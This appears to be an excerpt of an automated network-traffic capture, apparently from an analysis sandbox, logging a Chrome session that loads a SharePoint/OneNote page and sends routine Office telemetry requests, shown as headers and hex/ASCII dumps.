2MvWHFMWkF2SWN2N0dIc2VTdEZ0Z240M1hYY2IyZ1NXWGxHdGVvWUNQVXFmSmFZQUNleDUvaU9BaSs5azhMdUk4OVFIUGx3a3ZLb2hORTdURDhLM1RVbnA1M0tldnQr [TRUNCATED] X-SharePointHealthScore: 2 Referrer-Policy: no-referrer, strict-origin-when-cross-origin Server-Timing: LT; desc=0, RS; desc=G, RD; dur=89 X-AspNet-Version: 4.0.30319 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: 62d63ca1-2029-9000-7e4b-1c140ef35025 request-id: 62d63ca1-2029-9000-7e4b-1c140ef35025 MS-CV: oTzWYikgAJB+SxwUDvNQJQ.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=ccdc4ebe-1888-499b-9e73-bbbd560179ed&destinationEndpoint=189920&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25103 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Tue, 16 Jul 2024 11:06:52 GMT Connection: close
2024-07-16 11:06:52 UTC	13188	IN	Data Raw: 32 35 61 63 30 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 09 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0d 0a 09 3c 6d 65 74 61 0d 0a 09 09 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d Data Ascii: 25ac0<!DOCTYPE html><html lang="en-us" dir="ltr"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><metaname="viewport"content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 34 34 30 43 2d 41 42 43 42 2d 45 34 38 38 46 33 39 41 30 38 43 41 22 3a 31 2c 22 31 32 34 35 38 39 32 31 2d 42 34 46 30 2d 34 30 44 46 2d 39 44 36 32 2d 32 31 30 42 39 39 35 34 41 42 41 31 22 3a 31 2c 22 44 44 31 31 38 39 31 30 2d 32 33 38 39 2d 34 42 37 46 2d 42 37 34 34 2d 30 46 38 43 37 43 42 30 46 36 33 36 22 3a 31 2c 22 37 39 46 38 38 41 43 35 2d 33 34 30 42 2d 34 36 31 35 2d 38 33 36 44 2d 30 31 33 44 31 30 37 33 39 44 34 38 22 3a 31 2c 22 45 41 35 36 36 38 35 43 2d 32 38 32 44 2d 34 41 33 31 2d 39 31 38 38 2d 43 46 45 41 39 42 35 39 33 32 39 45 22 3a 31 2c 22 39 45 44 33 35 36 44 31 2d 41 31 33 41 2d 34 30 45 33 2d 38 36 33 37 2d 32 35 34 38 36 33 44 31 44 46 30 36 22 3a 31 2c 22 44 39 42 37 35 32 34 45 2d 42 30 42 32 2d 34 44 38 37 2d 42 44 37 46 Data Ascii: 440C-ABCB-E488F39A08CA":1,"12458921-B4F0-40DF-9D62-210B9954ABA1":1,"DD118910-2389-4B7F-B744-0F8C7CB0F636":1,"79F88AC5-340B-4615-836D-013D10739D48":1,"EA56685C-282D-4A31-9188-CFEA9B59329E":1,"9ED356D1-A13A-40E3-8637-254863D1DF06":1,"D9B7524E-B0B2-4D87-BD7F
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 2c 22 33 46 38 32 42 36 44 35 2d 46 45 31 44 2d 34 41 43 37 2d 39 45 37 44 2d 34 42 39 43 33 41 30 35 35 43 42 35 22 3a 31 2c 22 39 45 46 38 45 33 34 43 2d 45 36 44 33 2d 34 33 41 35 2d 39 35 33 36 2d 35 38 37 31 41 45 33 43 37 39 39 35 22 3a 31 2c 22 30 32 31 46 31 45 45 46 2d 36 42 39 30 2d 34 33 42 34 2d 38 30 33 34 2d 34 39 45 42 36 30 30 37 32 46 33 39 22 3a 31 2c 22 42 44 44 44 34 44 30 42 2d 35 46 43 32 2d 34 35 44 44 2d 41 32 43 45 2d 42 32 32 45 43 44 30 36 44 44 36 38 22 3a 31 2c 22 34 30 34 43 42 46 30 39 2d 46 39 42 45 2d 34 37 44 46 2d 42 44 43 36 2d 41 44 38 36 41 35 33 46 38 43 31 42 22 3a 31 2c 22 41 36 43 38 46 34 37 32 2d 39 31 42 39 2d 34 37 34 36 2d 42 35 34 41 2d 33 45 41 33 46 42 38 32 32 42 33 38 22 3a 31 2c 22 44 42 46 43 45 30 31 Data Ascii: ,"3F82B6D5-FE1D-4AC7-9E7D-4B9C3A055CB5":1,"9EF8E34C-E6D3-43A5-9536-5871AE3C7995":1,"021F1EEF-6B90-43B4-8034-49EB60072F39":1,"BDDD4D0B-5FC2-45DD-A2CE-B22ECD06DD68":1,"404CBF09-F9BE-47DF-BDC6-AD86A53F8C1B":1,"A6C8F472-91B9-4746-B54A-3EA3FB822B38":1,"DBFCE01
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 2d 46 31 35 39 34 39 31 45 43 35 34 30 22 3a 31 2c 22 37 33 35 43 42 41 43 39 2d 46 44 42 36 2d 34 32 35 35 2d 38 34 41 43 2d 34 35 34 36 43 43 37 41 42 33 46 32 22 3a 31 2c 22 38 45 36 35 41 45 30 38 2d 34 46 39 36 2d 34 39 42 41 2d 38 34 45 41 2d 35 42 31 42 41 38 44 42 43 44 38 43 22 3a 31 2c 22 42 42 41 35 44 30 42 46 2d 43 44 41 45 2d 34 45 45 33 2d 41 38 46 41 2d 30 34 38 34 41 38 45 39 43 43 34 43 22 3a 31 2c 22 37 32 30 31 45 32 35 30 2d 34 41 37 35 2d 34 45 46 38 2d 39 46 44 30 2d 41 43 42 33 35 43 38 31 39 31 42 39 22 3a 31 2c 22 30 37 30 33 33 45 42 39 2d 30 39 34 38 2d 34 33 37 32 2d 38 42 42 30 2d 42 39 46 42 46 45 35 39 44 45 35 31 22 3a 31 2c 22 33 31 35 41 39 36 43 36 2d 37 37 35 44 2d 34 39 38 39 2d 38 39 39 35 2d 35 39 31 38 46 37 36 34 Data Ascii: -F159491EC540":1,"735CBAC9-FDB6-4255-84AC-4546CC7AB3F2":1,"8E65AE08-4F96-49BA-84EA-5B1BA8DBCD8C":1,"BBA5D0BF-CDAE-4EE3-A8FA-0484A8E9CC4C":1,"7201E250-4A75-4EF8-9FD0-ACB35C8191B9":1,"07033EB9-0948-4372-8BB0-B9FBFE59DE51":1,"315A96C6-775D-4989-8995-5918F764
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 31 2d 35 46 30 46 2d 34 33 42 45 2d 41 32 32 43 2d 33 34 43 30 41 33 43 39 32 36 41 39 22 3a 31 2c 22 33 31 41 39 41 44 37 39 2d 42 43 30 46 2d 34 34 32 44 2d 41 32 33 34 2d 39 43 32 44 41 35 37 46 34 36 46 38 22 3a 31 2c 22 32 30 34 31 33 39 45 33 2d 43 32 37 43 2d 34 41 44 33 2d 38 44 43 43 2d 42 45 43 44 46 31 37 41 46 34 39 32 22 3a 31 2c 22 30 31 43 31 46 30 38 36 2d 35 42 42 42 2d 34 30 33 42 2d 39 43 39 43 2d 32 36 39 44 41 35 31 44 44 38 36 34 22 3a 31 2c 22 33 34 36 44 30 42 38 35 2d 46 45 44 41 2d 34 33 42 39 2d 38 30 45 41 2d 33 46 45 46 38 34 36 36 34 30 36 32 22 3a 31 2c 22 30 35 45 34 41 45 45 42 2d 46 42 37 41 2d 34 41 37 35 2d 42 43 36 33 2d 39 30 44 43 42 43 35 43 38 45 45 39 22 3a 31 2c 22 38 45 43 31 38 41 42 33 2d 35 31 46 45 2d 34 32 Data Ascii: 1-5F0F-43BE-A22C-34C0A3C926A9":1,"31A9AD79-BC0F-442D-A234-9C2DA57F46F8":1,"204139E3-C27C-4AD3-8DCC-BECDF17AF492":1,"01C1F086-5BBB-403B-9C9C-269DA51DD864":1,"346D0B85-FEDA-43B9-80EA-3FEF84664062":1,"05E4AEEB-FB7A-4A75-BC63-90DCBC5C8EE9":1,"8EC18AB3-51FE-42
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 38 33 34 31 22 3a 31 2c 22 46 42 34 37 44 39 41 36 2d 33 43 33 37 2d 34 45 31 39 2d 38 46 33 32 2d 42 42 30 43 45 31 31 46 32 38 30 46 22 3a 31 2c 22 45 39 37 35 39 36 41 35 2d 37 31 43 43 2d 34 41 39 39 2d 41 30 35 45 2d 45 45 38 35 31 31 30 35 39 46 39 44 22 3a 31 2c 22 33 45 39 43 33 46 33 35 2d 38 37 32 32 2d 34 34 36 44 2d 42 35 34 37 2d 33 31 32 41 44 38 33 35 45 30 35 38 22 3a 31 2c 22 39 43 46 34 35 33 38 44 2d 36 45 41 46 2d 34 45 38 33 2d 39 45 46 44 2d 31 31 44 33 43 42 34 39 31 37 34 38 22 3a 31 2c 22 42 39 32 34 38 39 43 45 2d 39 34 35 35 2d 34 39 37 41 2d 39 39 45 31 2d 30 44 41 42 30 31 37 32 45 41 30 46 22 3a 31 2c 22 33 43 35 35 41 31 41 39 2d 45 43 38 41 2d 34 46 35 37 2d 39 42 34 30 2d 36 46 31 32 42 32 42 42 37 34 30 39 22 3a 31 2c 22 Data Ascii: 8341":1,"FB47D9A6-3C37-4E19-8F32-BB0CE11F280F":1,"E97596A5-71CC-4A99-A05E-EE8511059F9D":1,"3E9C3F35-8722-446D-B547-312AD835E058":1,"9CF4538D-6EAF-4E83-9EFD-11D3CB491748":1,"B92489CE-9455-497A-99E1-0DAB0172EA0F":1,"3C55A1A9-EC8A-4F57-9B40-6F12B2BB7409":1,"
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 42 46 2d 41 33 38 38 2d 39 30 45 31 45 32 34 37 37 37 41 46 22 3a 31 2c 22 32 30 46 32 39 34 46 33 2d 33 32 32 33 2d 34 38 33 38 2d 42 41 46 37 2d 32 34 38 30 41 38 39 39 39 31 39 38 22 3a 31 2c 22 44 46 33 35 31 34 35 43 2d 43 45 33 41 2d 34 30 34 44 2d 38 45 43 42 2d 42 46 46 46 38 46 42 34 31 32 39 37 22 3a 31 2c 22 37 39 37 31 35 35 38 30 2d 43 30 45 35 2d 34 41 46 32 2d 39 39 46 45 2d 38 41 41 46 39 30 43 36 42 45 44 44 22 3a 31 2c 22 38 44 38 31 38 38 35 37 2d 37 42 45 38 2d 34 41 30 34 2d 42 46 36 38 2d 30 35 36 37 42 32 46 33 32 38 42 30 22 3a 31 2c 22 33 36 45 45 46 46 39 33 2d 43 33 31 46 2d 34 41 41 42 2d 42 46 37 38 2d 42 33 42 44 43 44 37 33 39 32 38 37 22 3a 31 2c 22 35 45 33 43 33 45 31 38 2d 32 33 38 45 2d 34 32 46 42 2d 39 38 36 35 2d 43 Data Ascii: BF-A388-90E1E24777AF":1,"20F294F3-3223-4838-BAF7-2480A8999198":1,"DF35145C-CE3A-404D-8ECB-BFFF8FB41297":1,"79715580-C0E5-4AF2-99FE-8AAF90C6BEDD":1,"8D818857-7BE8-4A04-BF68-0567B2F328B0":1,"36EEFF93-C31F-4AAB-BF78-B3BDCD739287":1,"5E3C3E18-238E-42FB-9865-C
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 09 09 09 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 09 09 09 09 09 74 68 69 73 2e 5f 63 6c 69 63 6b 54 69 6d 65 20 3d 20 30 3b 0d 0a 09 09 09 09 09 09 7d 0d 0a 09 09 09 09 09 09 69 66 20 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 20 7b 0d 0a 09 09 09 09 09 09 09 63 6f 6e 73 74 20 6e 61 76 45 6e 74 72 69 65 73 20 3d 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 3b 0d 0a 09 09 09 09 09 09 09 69 66 20 28 6e 61 76 45 6e 74 72 69 65 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 26 26 20 6e 61 76 45 6e 74 72 69 65 73 5b 30 5d 2e 74 79 70 65 20 3d 3d 20 27 72 65 6c 6f 61 64 27 29 20 7b 0d 0a 09 09 09 09 09 09 09 09 69 66 20 28 6f 72 69 67 69 6e 20 26 26 Data Ascii: } else {this._clickTime = 0;}if (window.performance) {const navEntries = window.performance.getEntriesByType("navigation");if (navEntries.length > 0 && navEntries[0].type == 'reload') {if (origin &&
2024-07-16 11:06:52 UTC	16384	IN	Data Raw: 6b 54 69 6d 65 28 29 2c 0d 0a 09 09 09 09 09 09 09 09 63 6c 69 65 6e 74 3a 20 64 69 61 67 43 6c 69 65 6e 74 2c 0d 0a 09 09 09 09 09 09 09 09 73 65 72 76 65 72 3a 20 77 69 6e 64 6f 77 2e 77 6f 70 69 44 69 61 67 53 65 72 76 65 72 2c 0d 0a 09 09 09 09 09 09 09 7d 3b 0d 0a 09 09 09 09 09 09 09 76 61 72 20 71 6f 73 53 74 61 72 74 54 69 6d 65 20 3d 20 64 69 61 67 43 6c 69 65 6e 74 2e 77 6f 70 69 49 6e 69 74 54 69 6d 65 3b 0d 0a 09 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 09 6c 6f 61 64 57 61 63 4f 77 6c 48 6f 73 74 41 73 79 6e 63 28 66 75 6e 63 74 69 6f 6e 20 28 77 61 63 4f 77 6c 48 6f 73 74 29 20 7b 0d 0a 09 09 09 09 09 09 09 09 77 61 63 4f 77 6c 48 6f 73 74 2e 73 65 74 57 61 63 44 61 74 61 43 65 6e 74 65 72 43 6f 6f 6b 69 65 28 77 61 63 42 6f 6f 74 44 69 61 Data Ascii: kTime(),client: diagClient,server: window.wopiDiagServer,};var qosStartTime = diagClient.wopiInitTime;loadWacOwlHostAsync(function (wacOwlHost) {wacOwlHost.setWacDataCenterCookie(wacBootDia
2024-07-16 11:06:52 UTC	10053	IN	Data Raw: 66 31 72 59 73 6e 79 32 31 44 38 72 66 76 47 35 72 61 57 73 6d 79 4c 5a 58 78 33 57 58 33 77 76 34 4f 74 4c 76 36 33 53 32 59 43 4d 57 2f 44 22 2c 22 70 72 65 6c 6f 61 64 65 64 49 6e 42 6f 6f 74 53 74 72 61 70 70 65 72 22 3a 74 72 75 65 7d 5d 5d 29 3b 0d 0a 09 09 09 09 09 09 09 69 6e 69 74 50 61 63 6b 61 67 65 50 61 72 61 6d 73 2e 72 65 54 72 79 41 74 74 65 6d 70 74 65 64 20 3d 20 72 65 54 72 79 41 74 74 65 6d 70 74 65 64 3b 0d 0a 09 09 09 09 09 09 09 69 6e 69 74 50 61 63 6b 61 67 65 50 61 72 61 6d 73 2e 6f 77 6c 42 6f 6f 74 73 74 72 61 70 70 65 72 44 69 61 67 6e 6f 73 74 69 63 73 2e 6c 6f 61 64 4f 77 6c 53 74 61 72 74 54 69 6d 65 20 3d 20 6c 6f 61 64 4f 77 6c 53 74 61 72 74 54 69 6d 65 3b 0d 0a 09 09 09 09 09 09 09 69 6e 69 74 50 61 63 6b 61 67 65 50 61 Data Ascii: f1rYsny21D8rfvG5raWsmyLZXx3WX3wv4OtLv63S2YCMW/D","preloadedInBootStrapper":true}]]);initPackageParams.reTryAttempted = reTryAttempted;initPackageParams.owlBootstrapperDiagnostics.loadOwlStartTime = loadOwlStartTime;initPackagePa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:54 UTC	704	OUT	POST /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 115 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:54 UTC	115	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 4f 6e 65 4e 6f 74 65 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 23 23 23 56 45 52 53 49 4f 4e 23 23 23 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 69 6e 69 74 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"OneNote\",\"build\":\"###VERSION###\",\"state\":\"init\"}"}
2024-07-16 11:06:54 UTC	1038	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 849193e0-7288-4eed-b4c7-6f4bda26df25 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782D X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: D5D258F8A2784F81BF9DFCF32F80E76C Ref B: EWR311000108029 Ref C: 2024-07-16T11:06:54Z Date: Tue, 16 Jul 2024 11:06:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:54 UTC	716	OUT	POST /suite/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 699 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:54 UTC	699	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 31 33 35 32 35 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 33 2c 22 4d 22 3a 22 4f 6e 65 4e 6f 74 65 4a 73 41 70 69 56 32 47 61 74 65 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 36 35 37 38 35 38 34 2c 22 54 22 3a 33 2c 22 4d 22 3a 22 4c 65 61 6e 20 55 69 20 48 6f 73 74 3a 20 62 6f 6f 74 41 70 70 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 36 31 38 32 30 34 38 2c 22 54 22 3a 34 2c 22 4d 22 3a 22 42 6f 6f 74 41 70 70 3a 20 4c 6f 61 64 20 64 6f 63 75 6d 65 6e 74 20 72 65 74 75 72 6e 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 33 37 32 36 32 38 35 2c 22 Data Ascii: {"T":1721128013525,"L":[{"G":521164238,"T":3,"M":"OneNoteJsApiV2Gate: Disabled","C":3027,"D":50},{"G":576578584,"T":3,"M":"Lean Ui Host: bootApp","C":3027,"D":50},{"G":546182048,"T":4,"M":"BootApp: Load document returned","C":3027,"D":50},{"G":553726285,"
2024-07-16 11:06:54 UTC	4396	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS4-ARRAffinity=20e28f203f19014493578b2bd0d3ea1495920b0b417a42163cb5e4ef14bae16d;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: 14281215-8213-498a-9a63-18bd8f632576 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BL6PEPF000222BB X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: PUS4 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF00021CBB X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: F231E3285A34485A90077F7B7FFD7A5F Ref B: BL2AA2010205033 Ref C: 2024-07-16T11:06:54Z Date: Tue, 16 Jul 2024 11:06:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:54 UTC	716	OUT	POST /suite/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 203 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:54 UTC	203	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 31 33 35 36 31 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 39 36 31 32 38 30 32 2c 22 54 22 3a 32 2c 22 4d 22 3a 22 55 70 64 61 74 65 64 20 48 65 61 6c 74 68 20 65 6e 64 70 6f 69 6e 74 2e 20 45 6e 76 69 72 6f 6e 6d 65 6e 74 3a 20 50 52 4f 44 55 43 54 49 4f 4e 2c 20 44 61 74 61 42 6f 75 6e 64 61 72 79 3a 20 31 2c 20 52 65 67 69 6f 6e 3a 20 45 55 43 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 35 65 64 33 32 35 38 38 2d 37 36 32 33 2d 33 37 37 64 2d 39 30 35 63 2d 66 30 30 30 33 39 35 30 64 30 35 66 22 2c 22 49 22 3a 32 2c 22 56 22 3a 31 7d Data Ascii: {"T":1721128013561,"L":[{"G":509612802,"T":2,"M":"Updated Health endpoint. Environment: PRODUCTION, DataBoundary: 1, Region: EUC","C":3027,"D":50}],"S":"5ed32588-7623-377d-905c-f0003950d05f","I":2,"V":1}
2024-07-16 11:06:54 UTC	4413	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS13-ARRAffinity=79fd8cba3a1be3e935d9d8e4da2e2cfafd66b826cd3e186febccb9d94fc536a1;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: 8816bd5e-d342-4ae5-be3c-5c1cbafe6b01 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BL6PEPF0001FC29 X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: PUS13 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] 